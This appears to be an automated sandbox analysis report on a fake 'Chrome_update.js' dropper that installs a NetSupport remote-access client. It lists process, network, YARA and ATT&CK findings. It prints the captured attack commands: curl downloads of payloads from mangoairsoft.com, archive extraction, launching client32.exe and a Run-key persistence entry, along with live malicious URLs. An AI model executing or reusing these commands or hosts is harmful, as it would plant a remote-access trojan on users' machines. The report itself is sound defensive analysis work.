Source: wscript.exe, 00000000.00000003.414289063.00000187DC9FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.413293014.00000187DC9F5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.418793988.00000187DC9FD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.423232138.00000187DE958000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.414470909.00000187DC9FC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.909133215.000000000169A000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.909268832.0000000001729000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.431914961.0000000006221000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.428243784.000000000624B000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.431587358.0000000006243000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.477976208.0000000001729000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HTCTL32.DLL.15.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: TCCTL32.DLL.15.dr	Binary or memory string: VMWare
Source: client32.exe, 00000016.00000003.423962701.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJ
Source: curl.exe, 00000004.00000002.391810780.0000023B8DD63000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000004.00000003.391714475.0000023B8DD61000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000017.00000003.441714491.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: curl.exe, 00000008.00000003.396747142.0000016D98570000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^^

Source: C:\ProgramData\7zz.exe

Code function: 15_2_00471C24 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

15_2_00471C24

Source: C:\ProgramData\7zz.exe

Code function: 15_2_0046E6AA SetUnhandledExceptionFilter,

15_2_0046E6AA

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe	Domain query: mangoairsoft.com
Source: C:\Windows\System32\wscript.exe	Network Connect: 188.127.230.147 443			Jump to behavior

JavaScript file contains Antivirus product strings

Source: Chrome_update.js

Initial file: avast, eset, avg

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//xcpCFFjZKLTFFLZfvqyQQKBvqwD.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 7
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe	Jump to behavior

Source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Shell_TrayWnd
Source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Progman

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\ProgramData\7zz.exe

Code function: 15_2_0040C756 GetSystemTime,SystemTimeToFileTime,

15_2_0040C756

Source: C:\ProgramData\7zz.exe

Code function: 15_2_0046CF4C EntryPoint,GetVersion,GetCommandLineA,

15_2_0046CF4C

Source: Yara match	File source: 22.2.client32.exe.6f930000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.client32.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.client32.exe.73510000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.28393f8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.client32.exe.6f040000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.73510000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.client32.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.6f930000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.client32.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.73510000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.client32.exe.6f930000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.237ed50.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.238e6c8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.238e6c8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.client32.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.249b790.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.24a8280.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.24a3908.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.24a8280.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000000.412323829.0000000000242000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.424787693.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.427318962.000000000176A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.910328086.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.442479428.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.422585453.0000000000242000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.427594284.000000000177D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.427449828.0000000001775000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.416840178.0000000001746000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.909682872.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.425047789.0000000001773000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.909682872.000000000368F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.425987309.000000000177D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.440898927.0000000000242000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.427734474.000000000177E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.441826424.0000000000242000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.908996646.0000000000242000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.424059492.0000000000242000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7zz.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\client32.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\ProgramData\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	321 Scripting	1 Registry Run Keys / Startup Folder	112 Process Injection	321 Scripting	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Native API	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	4 Obfuscated Files or Information	Security Account Manager	25 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Command and Scripting Interpreter	Logon Script (Mac)	Logon Script (Mac)	1 Software Packing	NTDS	111 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	14 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Virtualization/Sandbox Evasion	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	112 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Chrome_update.js	8%	ReversingLabs	Script-JS.Malware.Divergent

Dropped Files

Source	Detection	Scanner
C:\ProgramData\7zz.exe	0%	ReversingLabs
C:\ProgramData\HTCTL32.DLL	3%	ReversingLabs
C:\ProgramData\PCICHEK.DLL	5%	ReversingLabs
C:\ProgramData\PCICL32.DLL	5%	ReversingLabs
C:\ProgramData\TCCTL32.DLL	3%	ReversingLabs
C:\ProgramData\client32.exe	12%	ReversingLabs
C:\ProgramData\msvcr100.dll	0%	ReversingLabs
C:\ProgramData\pcicapi.dll	3%	ReversingLabs
C:\ProgramData\putty.exe	0%	ReversingLabs
C:\ProgramData\remcmdstub.exe	3%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
mangoairsoft.com	3%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.pci.co.uk/support	0%	URL Reputation	safe
http://www.pci.co.uk/support	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://www.pci.co.uk/supportsupport	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
http://127.0.0.1RESUMEPRINTING	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	100%	Avira URL Cloud	malware
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://%s/testpage.htmwininet.dll	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z	100%	Avira URL Cloud	malware
http://%s/testpage.htm	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	10%	Virustotal		Browse
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat	4%	Virustotal		Browse
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?81197	0%	Avira URL Cloud	safe
http://127.0.0.1	0%	Avira URL Cloud	safe
https://mangoairsoft.com/	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat-o	0%	Avira URL Cloud	safe
http://%s/fakeurl.htm	0%	Avira URL Cloud	safe
http://94.158.247.23/fakeurl.htm	100%	Avira URL Cloud	malware
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z-	0%	Avira URL Cloud	safe
https://magydostravel.com/cdn/zwmrqqgqnaww.php	100%	Avira URL Cloud	malware
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?8	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geography.netsupportsoftware.com	62.172.138.67	true	false		high
mangoairsoft.com	188.127.230.147	true	true	3%, Virustotal, Browse	unknown
geo.netsupportsoftware.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://geo.netsupportsoftware.com/location/loca.asp	false		high
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z	true	Avira URL Cloud: malware	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?81197	true	Avira URL Cloud: safe	unknown
http://94.158.247.23/fakeurl.htm	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.netsupportsoftware.com	7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	false		high
http://www.pci.co.uk/support	7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910328086.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424787693.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442479428.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://%s/testpage.htmwininet.dll	7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.15.dr	false	Avira URL Cloud: safe	low
http://geo.netsupportsoftware.com/w	client32.exe, 00000012.00000003.427318962.000000000176A000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.427449828.0000000001775000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.427594284.000000000177D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.425047789.0000000001773000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.425987309.000000000177D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	false		high
http://ocsp.sectigo.com0	7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	false	URL Reputation: safe	unknown
http://www.pci.co.uk/supportsupport	7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910328086.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424787693.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442479428.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	false	URL Reputation: safe	unknown
http://ocsp.thawte.com0	7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	false	URL Reputation: safe	unknown
http://127.0.0.1RESUMEPRINTING	7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	false	URL Reputation: safe	low
http://%s/testpage.htm	7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.15.dr	false	Avira URL Cloud: safe	low
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	false	URL Reputation: safe	unknown
http://127.0.0.1	7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	false	Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat-o	curl.exe, 00000008.00000002.396872502.0000016D98560000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.15.dr, TCCTL32.DLL.15.dr, remcmdstub.exe.15.dr, pcicapi.dll.15.dr	false		high
https://mangoairsoft.com/	wscript.exe, 00000000.00000003.413975275.00000187DC99A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.416738367.00000187DC99A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
